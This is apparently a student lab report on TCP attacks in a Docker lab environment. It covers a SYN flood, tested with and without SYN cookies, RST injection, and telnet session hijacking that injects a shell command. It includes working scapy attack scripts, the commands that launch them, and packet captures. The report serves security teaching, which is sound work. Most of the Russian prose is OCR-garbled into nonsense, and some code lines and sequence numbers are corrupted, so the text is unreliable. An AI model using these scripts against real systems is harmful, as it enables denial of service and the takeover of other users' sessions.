[omaluHaa pabéota Ne 2 no npegmety: «besonacHOCTb
BbIYNC/IUTENIbHbBIX CETEN»

OnuncaHue nabopatopHon paboTsl

Lienb nabopaTopHoii paboTbl — MOY4YNTb HENOCPEACTBEHHbIN OMbIT Pa6oThl C YSI3BUMOCTSIMM, & TAKXKe C
atakaMmu Ha 3TV ysI3BUMOCTM.

B aToin nabopatopHoli paboTe Bbl NPOBEAETE HECKO/IbKO aTak Ha TCP:

1. TCP SYN flood attack, and SYN cookies;
2. TCP reset attack;
3. TCP session hijacking attack.

B na6opatopHoii paboTe YeTblpe KOHTEHepa: TP MalWHbI JIETMTUMHbIX NO/Ib30BaTENe U oAHA MallMHa
aTakyLLEero.

IMozcers: 10.3.0.024

el
% —r== —r== —r==
3MOyMBIIITIEHHUK Vien A Vsen B Vien C
IP: 10.3.0.37 IP: 10.3.0.2 IP: 10.3.0.3 IP: 10.3.0.4

3apgava 1 «TCP SYN flood attack».

Python-ckpunT ans ataku:



pentest > 01-network > 01-tcpip > 02-tcp > volume > optlpy > ..

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.3.0.4")
tcp = TCP(dport=23, flags='S")
pkt = ip/tcp

while True:
pkt[IP].src = str(IPv4Address(getrandbits(32)))
pkt[TCP].sport = getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt, iface = 'ethe', verbose = 0)

3apava 1.1
- SYN Cookies Ha xepTtBe (Victim) OTK/IOUEHbI.

BbinosHeHue 3agauu:

1. 3anyctum ckpunT Ha N NOCMOTPUM HauTn4vmne I'IOAKJ'IPO‘-IGHVII\/’I Ha

JIncTuHr

[l

seed-attacker ./volume/optl.py

JINCTWHT



exec Victim ss
Recv-Q Send-Q Local Address:Port Peer Address: Process

128 0.0.0.0:telnet 0.0.0.0:
U096 127.0.0.11:37157 0.0.0.0:
0] :telnet 22.111.171.77:
:telnet 125.238.158.144:
:telnet 112.117.7.100:
:telnet 50.128.88.67:
:telnet 217.54.186.110:
:telnet 88.34.204.211:
:telnet 24.163.35.195:
:telnet 142.241.140.217:
:telnet 218.221.18.161:
:telnet 153.190.179.176:
:telnet 100.105.74.83:
:telnet 112.132.17.112:
:telnet 98.213.208.21:
:telnet 203.169.176.252:
:telnet 122.169.170.112:
:telnet 126.195.232.21:
:telnet 212.73.81.248:
:telnet 76.33.49.62:
:telnet 157.153.77.118:
:telnet 100.203.57.255:
:telnet 219.55.59.211:
:telnet 105.174.133.95:
:telnet 202.65.145.132:
:telnet 254.154.157.189:
:telnet 153.128.84.65:
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2. MpoBeprM BO3MOXHOCTb MOAK/OUEHUS K c

exec HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.

Escape character is '*]'.
Ubuntu 20.04.1 LTS
48bc2b911b06 login: |

B gaHHOM ciyyae, Mbl BUAUM YCMELHbIA BbIBOZ, NPUrAalleHns. MoXHO NpeanonoXunTb, YTO ataka He
yaanacb, HO 3Hasi, YTO BO3MOXHOCTM O4epeamn MallnHbl 3aBUCAT OT €€ XapaKTePUCTUK, He BYAET IMIHUM
nonpo6oBaTb 3anyCcTUTb Cpasy HECKO/IbKO 3K3eMMN/ISPOB CKpMMTa Ha [l06aBVB onepaHg, & K
KOMaHAe 3anycka:

3. 3anycTtum 15 3K3eMnnApoB cKpunta 04HOBPEMEHHO N NPOBEPUM BO3MOXHOCTb NOAK/IHOUEHUA:



root@80579e5c3ech:

[1] 98

root@80579e5c3ech:

[2] 162

root@80579e5c3ech:

[3] 106

root@80579e5c3ech:

[4] 11@

root@80579e5c3echb:

[5] 114

root@80579e5c3ech:

[6] 118

root@80579e5c3ech:

[7] 122

root@80579e5c3ech:

[8] 126

root@80579e5c3ech:

[9] 130

root@80579e5c3ech:

[1e] 134

root@80579e5c3ech:

[11] 138

root@80579e5c3ech:

[12] 142

root@80579e5c3ech:

[13] 146

root@80579e5c3ech:

[14] 150

root@80579e5c3ech:

[15] 154

./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.
./volume/optl.

./volume/optl.

./volume/optl.

./volume/optl.

root@80579e5c3ech:

4. NopakndeHne BbINOHAETCS, HO ¢ 60bLMMK 3agepXkkamu (0T 10 go 30 cekyHa), 4To AaBnseTcs
rnokasartesiem yCrneLlHon ataku. ATaky MOXHO CUMTaTb YCNELLUHO.

Utor 3apgaum 1.1
ATtaka npwu npou3BoaUTCA ycnewHo!

3agava 1.2

- SYN Cookies Ha xepTtBe (Victim) BK/HOUEHbI.




Bpems npoBecTy NOonbITKY C BKHOYEHHLIM MeXaHU3MoM syncookies. 115 3Toro nepeco3gainm KoOHTeHepb!
YCTaHOBMB 3HaYeHne CTPOKN B docker-compose.yami

[j—(markerﬂﬁkali)-[~fm!pentestfal-networkfel-tcpipfaz-tcp]
$ docker-compose down && docker-compose up -d

Stopping seed-attacker ... done

Stopping Victim ... done

Stopping HostA ... done

Stopping HostB ... done

Removing seed-attacker ... done

Removing Victim ... done

Removing HostA ... done

Removing HostB ... done

Removing network net-1

Creating network "net-1" with the default driver

Creating HostA ... done

Creating Victim ... done

Creating seed-attacker ... done

Creating HostB ... done

BbinonHeHue 3agavun

1. Mepe3anycTM CKPUNTbI, BOCMPOM3BOASLLME aTakKy U NPOBEPUM Ha/IMune NoAKIHEHN Ha

seeder-attacker:



docker exec

root@95a9c8f76aa3:

[1] 30

root@95a9c8f76aa3:

[2] 34

root@95a9c8f76aa3:

[3] 38

root@95a9c8f76aa3:

[d] 42

root@95a9c8f76aa3:

[5] d6

root@95a9c8f76aa3:

[6] 50

root@95a9c8f76aa3:

[7] 54

root@95a9c8f76aa3:

[8] 58

root@95a9c8f76aa3:

[9] 62

root@95a9c8f76aa3:

[10] 66

root@95a9c8f76aa3:

[11] 70

root@95a9c8f76aa3:

[12] 74

root@95a9c8f76aa3:

[13] 78

root@95a9c8f76aa3:

[14] 82

root@95a9c8f76aa3:

[15] 86

root@95a9c8f76aa3:

/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#
/#

/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.
/volume/optl.

/volume/optl.

/volume/optl.

seed-attacker /bin/bash
/volume/optl.

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py

Py




Victim ss
ecv-Q Local Address:Port Peer Address:Port Process
0.0.0.0:%
0.0.0.0:%
49.194.47.168:61193
246.184.255.152:24151
153.44.169.242:24650
55.123.224.149:34174
196.67.140.155:58390
170.18.89.8:31973
106.21.97.111:19221
206.76.206.131:17053
79.12.243.6:20725
185.17.77.50:3657
79.233.159.63:55246
6.156.206.8:27947
242.249.36.119:27055
252.179.139.22:35990
9.183.197.75:61769
92.118.228.153:1537
37.236.134.0:13474
152.249.31.25:54931
152.102.178.157:21133
78.91.120.194:16801
25.40.150.135:25232
167.20.31.85:48106
251.188.65.42:29384
178.29.52.86:45420
101.218.76.104:9
100.204.159.172:59574
39.200.112.18:18643
- 9.234.186.229:59796
10.3.0.4:telnet 44.8.144.81:53408
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2. MopxntoveHns Ha mecTe. MNMpoBeprM BO3MOXHOCTb NogkntoveHms no Telnet.

exec HostB telnet Victim
Trying 10.3.0.4...

Connected to Victim.
Escape character is '"]'.
Ubuntu 20.04.1 LTS
Obf7169753dd login: |

HDOBE,EI,H HECKOJIbKO MNOMnbITOK Nogknt4yeHnsa 1 MrHoBeHHO yBUJEB 6aHHep Telnet Mmoxem caenartb BbiBOA, YTO
B 3TOT pa3 artaka He yaaacCb.

Utor 3apgaum 1.1
ATaka npwu Nnpou3BoaUTCA HeyAauHo.

WTor 3agaun 1.

MexaHnsm TCP SYN cookies No3BoNseT cepBepy reHepupoBaTh crelmasibHble cokpalleHHble Bepcun TCP-
3arofi0BKOB (cookies) B 0TBET Ha BxogdLme 3anpockbl SYN, coxpaHsas MUHUMYM MHQ)OPMaLMM 0 COeaNHEHUN.
Korga cepsep nonyyaet noaresepxaeHue ot kaveHTta (ACK-nakeT), OH MOXEeT BOCCTAHOBUTb MOJTHYHO
MHhopMauuio 0 coefiMHeHNN M3 cokpalleHHo Bepcuun TCP-3aronoBka, MHMUUnMpoBaHHOM B SYN-nakeTe.

STOT MexaHN3M No3BOSISET cepBepy 06pabaTbiBaTh 1 OTBEYATb Ha GO/bLLIOE KOMMYECTBO BXOASALLMX
coeavHeHwuit fgaxe B ycnoBusix atakm SYN flood, Tak kak OH He XpaHWUT MHPOPMAaLMI0 O He3aBepPLUEHHbIX
COeAVHEeHVsX B NaMSATH, & UCMO/b3YeT cneuyasibHble cookie 415 OTCNEXUBAHNSA COCTOSIHUSA COEANHEHNS.

TCP SYN cookies - 3T0 0A1H 13 METOAO0B 3aluUThl OT atak Ha ypoBHe TCP, koTopblii NOBbILWAET YCTOWUYNBOCTb
cepBepoB K NoA06HbLIM aTtakam 1 obecrnevmBaeT HeNnpPepbIBHOCTb PaboThl CETEBLIX CMYXO.



3apnaya 2. TCP reset attack

1. 4ns BbINOSIHEHUS aTakn HaM HEO6XOAMMO NOMYUYUTL BBOAHbIE AaHHbIE. /15 3TOr0 B MOMEHT

NOoAK/TNYEHNA C K 6yp,eM cnywarb Tpa(*)l/lK mexay HUMU C nNomMoLL b

BbInonHAeM nogknoyeHne ¢

En_

marker@kali: ~ X 2 marker@kali: ~ X 2 marker@kali: ~

Retype new password:
passwd: password updated successfully

exec HostB telnet Victim
Trying 10.3.0.4...

Connected to Victim.

Escape character is '"]'.

Ubuntu 20.04.1 LTS

cd95baba70aa login: root

Password:

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.6.9-amdé4 x86_64)

https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/advantage

* Documentation:
* Management:
* Support:

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY,
applicable law.

to the extent permitted by

root@cd95baba70aa: ~#

Cnywaem" TpadmK ¢ MOMOLLIbHO

= marker@kali: ~ X B marker@kali: ~ X B marker@kali: ~ X B marker@kali: ~

tcpdum br-ae01dc7d3d86 port 23
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on br-ae01dc7d3d86, link-type EN1@MB (Ethernet), snapshot length 262144 bytes

19:06:17.861663 IP 10.3.0.3.40060 > 160.3.0.4.telnet:
telnet SB NAWS IS Oxb3 © 0x2e SE]

:06:17.
:06:17.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.
:06:18.

861797 IP
861811 IP
529574 IP
529790 IP
529802 IP
529816 IP
529821 IP
712608 IP
712775 IP
712792 IP
712810 IP
712816 IP
84u678 IP
84u875 IP
84u895 IP
844912 IP
844919 IP
974454 IP
:06:18.974671 IP
:06:18.974688 IP

:18.974707 IP

:18.974715 IP

.telnet > 10.3.0.3.40060:
40066 > 10.3.0.4.telnet:
.40060 > 10.3.0.4.telne
.telnet > 10.3.0.3.4006
40060 > 10.3.0.4.telnet:
.telnet > 10.3.0.3.40060:
.40060 > 10.3.0.4.telne
.40060 > 10.3.0.4.telne
.telnet > 10.3.0.3.40060:
.40060 > 10.3.0.4.telnet:
.telnet > 10.3.0.3.4006
.40060 > 10.3.0.4.telne
40060 > 10.3.0.4.telnet:
.telnet > 10.3.0.3.40060:

.40060 > 10.3.0.4.telnet:

Flags

Flags

Flags

[P.], seq 1838235172:

[P.], seq 3121089214:

[.]1, ack 3121089240,

[P.], seq 1838235181:
[P.]1, seq 3121089240:

[.1, ack 3121089242,

[P.], seq 3121089242:

[.]1, ack 3121089263,

[P.], seq 1838235183:
[P.1, seq 3121089263:

[.1, ack 3121089265,

[P.], seq 3121089265:

[.1, ack 3121089286,

[P.], seq 1838235185:
[P.], seq 3121089286:

[.], ack 3121089288,

[P.], seq 3121089288:

[.1, ack 3121089309,

[P.], seq 1838235187:
[P.], seq 3121089309:

[.1, ack 3121089311,
[p.1,
[.1, ack 3121089332,

seq 3121689311:

1838235181, ack 3121089214, win 249, options [nop,nop,TS val

3121089240, ack 1838235181, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873779280 ecr 1837723776],
1838235183, ack 3121089240, win 249, options [nop,nop,TS val
3121089242, ack 1838235183, win 249, options [nop,nop,TS val
win 249, options [nop,nop, TS val 1873779948 ecr 1837724uuu],
3121089263, ack 1838235183, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873779948 ecr 18377244u4],
1838235185, ack 3121089263, win 249, options [nop,nop,TS val
3121089265, ack 1838235185, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873780131 ecr 1837724627],
3121089286, ack 1838235185, win 249, options [nop,nop,TS val
win 249, options [nop,nop, TS val 1873780131 ecr 1837724627],
1838235187, ack 3121089286, win 249, options [nop,nop,TS val
3121089288, ack 1838235187, win 249, options [nop,nop,TS val
win 249, options [nop,nop, TS val 1873780263 ecr 1837724759],
3121089309, ack 1838235187, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873780263 ecr 1837724759],
1838235189, ack 3121089309, win 249, options [nop,nop,TS val
3121089311, ack 1838235189, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873780392 ecr 1837724888],
3121089332, ack 1838235189, win 249, options [nop,nop,TS val
win 249, options [nop,nop,TS val 1873780392 ecr 183772u888],

1873779279

1837723776
length ©
1873779947
1837724444
length ©
1837724444
length ©
1873780130
1837724627
length ©
1837724627
length @
1873780262
1837724759
length @
1837724759
length ©
1873780392
183772u888
length @
1837724888
length ©

1837718602],
18737792791,

18377237761,
18737799471,

18737799481,

183772u4u44],
18737801301,

18737801311,

18377246271,
18737802621,

18737802631,

18377247591,
18737803921,

18737803921,

length
length

length
length

length

length
length

length

length
length

length

length
length

length




B norax Tpadka Ham Heo6X0AMMO NOsYUNTb AaHHbIE A1t HANOTHEHNUSA CKpUNTa -- : : ,

"
Mapametp 3HauyeHue MpumeyaHune
src 10.3.0.3 IP-agpec
dst 10.3.04 IP-agpec
sport 40060 Homep nopta, ¢ KoToporo yCcTaHaB/MMBaeT NnoakKoveHne
dport 23 Homep nopra telnet Ha
Homep cnepyowein nocnegoBaTenibHOCTH, KOTOPbIN OXnaaeT oT
seq 1838235189 P AYIOH A P A
2. MNopctaBuM NOyYEHHbIe AaHHbIe B CKPUMT 019 NpOBefieHNs araku.

pentest > 01-network > 01-tcpip > 02-tcp > volume > opt2.py > ...

from scapy.all import IP,TCP,send,ls

ip = IP(src="10.3.0.3", dst="10.3.0.4")

tcp = TCP(sport=40060, dport=23, flags="R", seq=1838235189)
pkt = ip/tcp

1s(pkt)
send(pkt, verbose=0)

3. BbINO/HMM aTakyoLwuii ckpunT



dock exec seed-attacker ./volume/opt2.py
version : BitField (4 bits) =4
i : BitField (4 bits)
: XByteField
: ShortField
: ShortField
: FlagsField (3 bits)
: BitField (13 bits)
: ByteField
: ByteEnumField
chksum : XShortField
src : SourceIPField

)
None (None)
] (@)
None (None)
1 @D)
<Flag 0 ()> (<Flag @ ()>)
(0)
(64)
(0)
(None)
(None)
(None)
([

dst : DestIPField

options : PacketListField
sport : ShortEnumField
dport : ShortEnumField

seq : IntField

ack : IntField

dataofs : BitField (4 bits)
reserved : BitField (3 bits)
flags : FlagsField (9 bits)
window : ShortField

chksum : XShortField

urgptr : ShortField

options : TCPOptionsField

(20)
(80)
1838235189 (@)
0 (0)
None (None)
0 (®
<Flag 4 (R)> (<Flag 2 (S)>)
8192 (8192)
None (None)
0 (®
[1 (b'")

4. Y6egumcs B Hanmunm RST-nakeTa B

19:09:39.916439 IP .40060 > 10.3.0.4.telnet: Flags [R], seq 1838235189, win 8192, length 0

10.3.0.3
19:09:54.753557 IP 10.3.0.3.40060 > 10.3.0.4.telnet: Flags [P.], seq 1838235189:1838235191, ack 3121089332, win 249, options [nop,nop,TS val 1873996171 ecr 1837724888], length 2
le.3.0.4

19:09:54.753581 IP

.telnet > 10.3.0.3.40060: Flags [R], seq 3121089332, win @, length @

|
5. npOBepI/IM COCTOSIHME CoefMHeHNA NyTEM HaxaTus Enter B nogkitoueHnn



exec HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '"]'.
Ubuntu 20.04.1 LTS
cd95baba70aa login: root
Password:
Welcome to Ubuntu 20.604.1 LTS (GNU/Linux 6.6.9-amdéd x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that a
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:
root@cd95baba70aa:~# Connection closed by foreign host.

CornacHo BbIBOAY, COeAMHEHME ObI10 3aKPbITO, aTaky MOXHO CUMTaTb YCNELHOMNA.
WTor 3apaun 2.

TCP RST (Reset) ataka - at0 hbopmMa aTaku Ha ypoBHe TCP, KoTopas MOXeT ObITb UCNO/b30BaHa 4/1s
HapyLUueHns ycTaHoB/eHHbIX TCP-coeguHeHUA MexXay KMEHTOM U CepBEPOM.

MpuHUMN paboTbl aTaky 3ak/IrYaeTcs B OTNpaBke noaae/bHbix RST-nakeToB (NakeToB c6poca CoeanHeHNs)
OT VIMEHU OZIHOM 13 CTOPOH (06bIYHO OT CepBepa) A5 NPEXAEBPEMEHHOIO 3aBEPLLEHUS YCTAHOB/IEHHOTO
TCP-coegnHeHUs. DTO MOXET NPUBECTU K pa3pbiBy COEANHEHUS 1 NPEKPALLEHNI0 06MEHA JaHHbIMU MeXay
K/TMEHTOM U CEPBEPOM.

HecMoTps Ha BbiLleonuncaHHoe, NOAroTOBKA K TaKol atake sIBNSIETCS AJOBOJIbHO C/IOXHOI Ha NpakTuKe, BeAb
3/10yMbILNIEHHWK JO/KEH UMETL AOCTYN K TPAdOMKy BHYTPY CETU AJ151 NPaBU/IbHOTO COCTaB/IEHNS aTaKyoLLEro




nakera.

3apgaya 3. TCP Session Hijacking attack

1. AHa/I0rM4HO 3agaHnio 2 yctaHoBuM Telnet-ceccuto mexay ysnamu n n cobepem
ncxofdHble AaHHble. CKeNeT Kofga NoX0oxX Ha TOT, KOTOPbIA yKasaH B 3afaHnn 2, oT/IM4aeTcs Nnllb
cermeHToM TCP 1 Heo6xoAuMOCTbHO A06aBneHns 6r10ka AaHHbIX.

OCHOBbIBasiCb Ha AaHHbIX 13 3anosiHUM Hally Taénuuy:

] marker@kali: ~ X B marker@kali: ~ X 2 marker@Kkali: ~ X 2 marker@kali: ~

815 ecr 1877555319], length 0

20:09:14.132077 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [P.], seq 4125627531:4125627532, ack 2474119707, win 251, opt
ions [nop,nop,TS val 1877555550 ecr 1841499815], length 1

20:09:14.132102 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [.], ack 4125627532, win 249, options [nop,nop,TS val 1841500
046 ecr 1877555550], length O

20:09:14.311172 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [P.], seq 4125627532:4125627533, ack 2474119707, win 251, opt
ions [nop,nop,TS val 1877555729 ecr 18415000u46], length 1

20:09:14.311198 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [.], ack 4125627533, win 249, options [nop,nop,TS val 18415600
225 ecr 1877555729], length @

20:09:14.587979 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [P.], seq 4125627533:4125627535, ack 2474119707, win 251, opt
ions [nop,nop,TS val 1877556006 ecr 1841500225], length 2

20:09:14.588002 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [.], ack 4125627535, win 249, options [nop,nop, TS val 1841500
502 ecr 1877556006], length ©

20:09:14.588239 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [P.], seq 2474119707:2474119709, ack 4125627535, win 249, opt
ions [nop,nop,TS val 1841500502 ecr 1877556006], length 2

20:09:14.588262 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [.], ack 2474119709, win 251, options [nop,nop,TS val 1877556
006 ecr 1841500502], length @

20:09:14.601631 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [P.], seq 2474119709:2474120114, ack 4125627535, win 249, opt
ions [nop,nop,TS val 18U41500515 ecr 1877556006], length 465

20:09:14.601660 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [.], ack 2474120114, win 249, options [nop,nop,TS val 1877556
019 ecr 1841500515], length @

20:09:14.601819 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [P.], seq 2474120114:2474120182, ack 4125627535, win 249, opt
ions [nop,nop,TS val 1841500516 ecr 18775560191, length 68

20:09:14.601836 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [.], ack 2474120182, win 249, options [nop,nop,TS val 1877556
020 ecr 1841500516], length @

20:09:14.609921 IP 10.3.0.4.telnet > 10.3.0.3.54402: Flags [P.], seq 2474120182:2474120203, ack 4125627535, win 249, opt
ions [nop,nop,TS val 1841500524 ecr 1877556020], length 21

20:09:14.609950 IP 10.3.0.3.54402 > 10.3.0.4.telnet: Flags [.], ack 2474120203, win 249, options [nop,nop,TS val 1877556
028 ecr 184150052u4], length 0

Tabnuua:
Mapametrp 3HauyeHue MpumeyaHue
src 10.3.0.3 IP-appec
dst 10.3.04 IP-agpec
sport 54402 Homep nopra, ¢ KOTOporo ycTaHaB/IMBaEeT NoAkK/IoYeHe
dport 23 Homep nopra telnet Ha
Homep cnepytoLein nocnefoBaTenlbHOCTU, KOTOPbIA oxuaaeTt oT
seq 4125627535 P Ayt A P A
ack 2474120203

2. 3anosiHaAeM CKpUNT NoslydeHHbIMU AaHHbIMU



pentest > 01-network > 01-tcpip > 02-tcp > volume > @& opt3.py > ...

from scapy.all import IP,TCP,send,ls

ip = IP(src="10.3.0.3", dst="10.3.0.4")

tcp = TCPIsport=54402, dport=23, flags="PA", seq=4125627535, ack=2474126203l
data = "\r mkdir 1337 \r"

pkt = ip/tcp/data

1s(pkt)

send(pkt, verbose=0)

3. BbINOMHUM aTakyrLmii cKpunT

~

exec seed-attacker ./volume/opt3.py
version : BitField (4 bits) =4 W)
ihl : BitField (4 bits) = None (None)
tos : XByteField 0 (®)
len : ShortField None (None)
id : ShortField 1 (1)
flags : FlagsField (3 bits) <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) (®)
ttl : ByteField (6u)
proto : ByteEnumField (0)
chksum : XShortField (None)
src : SourceIPField .3.0. (None)
dst : DestIPField .3.0. (None)
options : PacketListField = (rn
sport : ShortEnumField = (20)
dport : ShortEnumField (80)
seq : IntField 4125627535 (0)
ack : IntField 2474120203 (0)
dataofs : BitField (4 bits) None (None)
reserved : BitField (3 bits) 0] (0)
flags : FlagsField (9 bits) <Flag 24 (PA)> (<Flag 2 (S)>)
window : ShortField 8192 (8192)
chksum : XShortField None (None)
urgptr : ShortField 0 (0)
options : TCPOptionsField =[] (b'*)

load : StrField b'\r mkdir 1337 \r' (b'"')

20:09:14.609950 IP 10. .50402 > 10.3.0.4.telnet: [.1, ack 2474120203, win 249, options [nop,nop,TS val 1877556028 ecr 184150052u4], length ©

20:10:31.048280 IP 10. .50002 > 10.3. 5 .1, seq 14125627535:4125627549, ack 2474120203, win 8192, length 14

20:10:31.048755 IP 10. .telnet > 10. .54402: .1, seq 2474120203:2474120205, ack 4125627549, win 249, options [nop,nop,TS val 1841576962 ecr 1877556028], length 2
20:10:31.255871 IP 10. .telnet > 10. .50002: .1, seq 2474120205:2u74120261, ack 4125627549, win 249, options [nop,nop,TS val 1841577170 ecr 1877556028], length 56
20:10:31.463883 IP 10. .telnet > 10. : .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841577378 ecr 1877556028], length 58
20:10:31.896086 IP 10. .telnet > 10. . : .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841577810 ecr 1877556028], length 58
20:10:32.727858 IP 10. .telnet > 10. . : .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841578642 ecr 1877556028], length 58
20:10:34.391950 IP 10. .telnet > 10. : .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841580306 ecr 1877556028], length 58
20:10:37.751849 IP 10. .telnet > 10. \5u402: .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841583666 ecr 1877556028], length 58
20:10:44.407883 IP 10. .telnet > 10. .54402: .1, seq 2474120203:2474120261, ack 4125627549, win 249, options [nop,nop,TS val 1841590322 ecr 1877556028], length 58
20:10:57.719843 IP 10. .telnet > 10. .50002: .1, seq 2474120203:2074120261, ack 4125627549, win 249, options [nop,nop,TS val 1841603634 ecr 1877556028], length 58

5. MNMpoBepnB CcOCTOAHME HaLlero CoeAHeHNA MexXxay XxocTamMu n O6Hapy)KVIBaeM, 4yTo

coefInHeHne 3aBUC/I0 U He pearnpyeT Ha kKomaHabl. Ho kak obcToaT aenac nankonm Ha XoCTe
?




=] marker@kali: ~ X 2 marker@kali: ~ X % marker@kali: ~

Victim ls /root

Victim 1s /root

total 28

root 4096 Mar 5 01:10 .
drwxr—-xr-x root 4096 Mar 4 23:54 ..
-IrWw—-rw-r—— root 160 Nov 26 2020 .bashrc
drwxr—-xr-x root 4096 Mar 4 23:57 .cache
-rW-r——r-- root 161 Dec 5 2019 .profile
drwxr—xr—x root 4096 Mar 5 01:10 1337

Buanm ceexeco3gaHHyto nanky ¢ UMeHem , CATHA/IM3UPYIOLLLYIO O TOM, YTO aTaka npoLuna ycnewHo!
WTor 3agaun 3.

TCP Session Hijacking (B3siTue ceccun) - 3To dpopma aTakm Ha ypoBHe TCP, HanpaBneHHasa Ha 3axBaT
YCTaHOB/IEHHO CECCUUN MEXAY KIIMEHTOM 1N CEPBEPOM C Lie/Ibl0 HECaHKLIMOHMPOBAHHOTO A0CTYNa K AaHHbIM
WY BbINOSTHEHUA AEACTBWIA OT MMEHN aTakyemoro rnosib30Baresisi.

MpuHUMN paboTbl aTaky 3ak/IrYaeTcsl BO BMELLATE/TbCTBE B YCTaHOBNEHHOe TCP-coeanHeHe Mmexay
K/TMEHTOM U CEpBEPOM NyTeM BBeAEHNA NoaaenbHbiXx TCP-NakeToB WK 3axBaTta CyLLECTBYHOLNX NaKeToB
AN MaHUNYNALMK ceCCUEll. ATaKyHOLWMIA MOXET NOMbITaTbCs B3ATb KOHTPO/Ib HA/L, CECCUEN, U3MEHNTb
[laHHble, BbINOMHUTL KOMaHAbI OT MMEHW Nob30BaTeNs Wan Aaxe 3aBepLUnTb CECCUIO.

B uenom ataka oyeHb noxoxa Ha TCP RST-ataky no Heo6xoauMbIM BBOAHbLIM AaHHbLIM.
[na 3amTbl 0T NOA06HLIX atak MOryT MPUMEHSATLCS pasUyHble Mepbl, Takne Kak:

» lcnonb3oBaHue WndpoBaHns 1 LMPOBOI NOANMUCK 415 3aLUMTbI KOHPUAEHUNAIBHOCTY 1
LeNOCTHOCTHM AaHHbIX BO BpemMs nepefadyn. (Hanpumep, ncnonb3osaHne SSHv2 smecto Telnet)

e MOHUTOPWHTI ceTeBOro Tpadmka C Lesbio 0OHapYXXeHUs NoA03pUTEbHON aKTUBHOCTY UM aHOMaSIUIA.
(CeteBble cHuddepsl ¢ IDS, Hanpumep PT Network Attack Discovery nnu Kaspersky Anti-Targetted
Attack)

» HacTtpoiika ceTeBoii 3aLlnThbl, BKIOYasa dhariepsosibl, CpeacTsa 0bHapy>XeHUs BTOPXEHUIA 1
hunsTpaumIo NakeTos.

Tor naboparopHoun paboThbl

Ha aTom na6opatopHas paboTa okoH4YeHa, doain oTyeT B oopmare pdf BO BIOXEHUN.

BbinonHun: XaputoHoB Mapat PycnaHoBud, cTyaeH4eckunini ounet NeM235314.






